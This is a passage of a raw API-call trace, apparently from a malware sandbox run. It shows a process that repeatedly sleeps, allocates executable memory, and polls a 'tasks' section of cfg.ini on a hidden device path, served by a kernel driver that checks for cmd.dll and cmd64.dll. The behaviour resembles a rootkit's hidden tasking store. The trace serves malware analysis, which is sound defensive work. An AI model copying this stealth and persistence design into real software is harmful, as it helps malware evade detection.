[0126.294] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.294] KeEnterCriticalRegion () [0126.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.294] ExFreePoolWithTag (P=0xfffffa8003bf4ad0, Tag=0x0) [0126.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.294] KeLeaveCriticalRegion () [0126.294] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.294] ReleaseMutex (hMutex=0xf0) returned 1 [0126.295] Sleep (dwMilliseconds=0x927c0) [0126.309] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.309] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.309] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.309] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.309] KeEnterCriticalRegion () [0126.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.309] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.309] IdePortDispatch () returned 0x103 [0126.309] KeWaitForMutexObject () returned 0x0 [0126.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.309] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.309] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.309] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.309] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.309] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ecb70 [0126.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.309] KeLeaveCriticalRegion () [0126.309] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.309] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.309] KeEnterCriticalRegion () [0126.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.309] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.309] KeLeaveCriticalRegion () [0126.310] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.310] KeEnterCriticalRegion () [0126.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.310] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.310] IdePortDispatch () returned 0x103 [0126.310] KeWaitForMutexObject () returned 0x0 [0126.310] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.310] KeLeaveCriticalRegion () [0126.310] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.310] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.310] KeEnterCriticalRegion () [0126.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.310] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800346f000 [0126.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.310] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.310] IdePortDispatch () returned 0x103 [0126.310] KeWaitForMutexObject () returned 0x0 [0126.310] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.310] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.310] IdePortDispatch () returned 0x103 [0126.311] KeWaitForMutexObject () returned 0x0 [0126.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.311] KeLeaveCriticalRegion () [0126.311] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.311] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.311] KeEnterCriticalRegion () [0126.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.311] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.311] KeLeaveCriticalRegion () [0126.311] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.311] KeEnterCriticalRegion () [0126.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.311] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.311] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.311] KeLeaveCriticalRegion () [0126.311] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.311] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.311] KeEnterCriticalRegion () [0126.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.311] ExFreePoolWithTag (P=0xfffffa80037ecb70, Tag=0x0) [0126.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.311] KeLeaveCriticalRegion () [0126.311] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.312] ReleaseMutex (hMutex=0xf0) returned 1 [0126.312] Sleep (dwMilliseconds=0x927c0) [0126.331] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.331] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.331] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.331] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.331] KeEnterCriticalRegion () [0126.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.331] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.331] IdePortDispatch () returned 0x103 [0126.331] KeWaitForMutexObject () returned 0x0 [0126.333] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.333] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.333] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.333] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.333] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.333] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac8630 [0126.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.333] KeLeaveCriticalRegion () [0126.333] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.333] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.333] KeEnterCriticalRegion () [0126.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.333] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.333] KeLeaveCriticalRegion () [0126.333] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.333] KeEnterCriticalRegion () [0126.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.333] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.333] IdePortDispatch () returned 0x103 [0126.334] KeWaitForMutexObject () returned 0x0 [0126.334] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.334] KeLeaveCriticalRegion () [0126.334] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.334] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.334] KeEnterCriticalRegion () [0126.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.334] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003474000 [0126.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.334] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.334] IdePortDispatch () returned 0x103 [0126.334] KeWaitForMutexObject () returned 0x0 [0126.334] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.334] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.334] IdePortDispatch () returned 0x103 [0126.334] KeWaitForMutexObject () returned 0x0 [0126.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.334] KeLeaveCriticalRegion () [0126.334] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.335] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.335] KeEnterCriticalRegion () [0126.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.335] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.335] KeLeaveCriticalRegion () [0126.335] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.335] KeEnterCriticalRegion () [0126.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.335] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.335] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4b40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.335] KeLeaveCriticalRegion () [0126.335] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.335] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.335] KeEnterCriticalRegion () [0126.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.335] ExFreePoolWithTag (P=0xfffffa8003ac8630, Tag=0x0) [0126.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.335] KeLeaveCriticalRegion () [0126.335] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.335] ReleaseMutex (hMutex=0xf0) returned 1 [0126.335] Sleep (dwMilliseconds=0x927c0) [0126.349] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.349] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.349] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.349] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.349] KeEnterCriticalRegion () [0126.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.349] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.349] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.349] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.349] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.349] IdePortDispatch () returned 0x103 [0126.349] KeWaitForMutexObject () returned 0x0 [0126.349] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.349] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.349] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.349] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.350] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.350] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec1d0 [0126.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.350] KeLeaveCriticalRegion () [0126.350] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.350] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.350] KeEnterCriticalRegion () [0126.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.350] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.350] KeLeaveCriticalRegion () [0126.350] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.350] KeEnterCriticalRegion () [0126.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.350] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.350] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.350] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.350] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.350] IdePortDispatch () returned 0x103 [0126.350] KeWaitForMutexObject () returned 0x0 [0126.350] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.350] KeLeaveCriticalRegion () [0126.350] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.350] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.350] KeEnterCriticalRegion () [0126.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.350] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003479000 [0126.350] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.350] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.350] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.350] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.350] IdePortDispatch () returned 0x103 [0126.350] KeWaitForMutexObject () returned 0x0 [0126.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.351] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.351] IdePortDispatch () returned 0x103 [0126.351] KeWaitForMutexObject () returned 0x0 [0126.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.351] KeLeaveCriticalRegion () [0126.351] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.351] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.352] KeEnterCriticalRegion () [0126.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.352] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.352] KeLeaveCriticalRegion () [0126.352] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.352] KeEnterCriticalRegion () [0126.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.352] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.352] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.352] KeLeaveCriticalRegion () [0126.352] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.352] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.352] KeEnterCriticalRegion () [0126.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.352] ExFreePoolWithTag (P=0xfffffa80037ec1d0, Tag=0x0) [0126.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.352] KeLeaveCriticalRegion () [0126.352] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.352] ReleaseMutex (hMutex=0xf0) returned 1 [0126.352] Sleep (dwMilliseconds=0x927c0) [0126.367] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.367] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.367] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.367] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.367] KeEnterCriticalRegion () [0126.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.367] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.367] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.367] IdePortDispatch () returned 0x103 [0126.367] KeWaitForMutexObject () returned 0x0 [0126.368] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.368] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.368] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.368] strncpy (in: _Dest=0xfffffa80027daf68, 